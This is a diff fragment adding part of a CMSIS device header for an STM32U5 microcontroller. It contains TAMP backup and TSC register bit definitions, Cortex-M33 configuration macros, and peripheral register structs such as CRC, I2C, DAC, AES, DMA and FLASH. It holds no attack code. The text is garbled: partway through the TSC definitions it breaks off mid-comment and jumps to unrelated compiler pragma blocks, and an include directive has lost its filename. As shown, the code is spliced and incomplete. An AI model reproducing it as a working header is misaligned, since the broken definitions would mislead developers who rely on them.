TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief GFXMMU registers + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXMMU configuration register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< GFXMMU status register, Address offset: 0x04 */ + __IO uint32_t FCR; /*!< GFXMMU flag clear register, Address offset: 0x08 */ + __IO uint32_t CCR; /*!< GFXMMU Cache Control Register, Address offset: 0x0C */ + __IO uint32_t DVR; /*!< GFXMMU default value register, Address offset: 0x10 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x14 to 0x1C */ + __IO uint32_t B0CR; /*!< GFXMMU buffer 0 configuration register, Address offset: 0x20 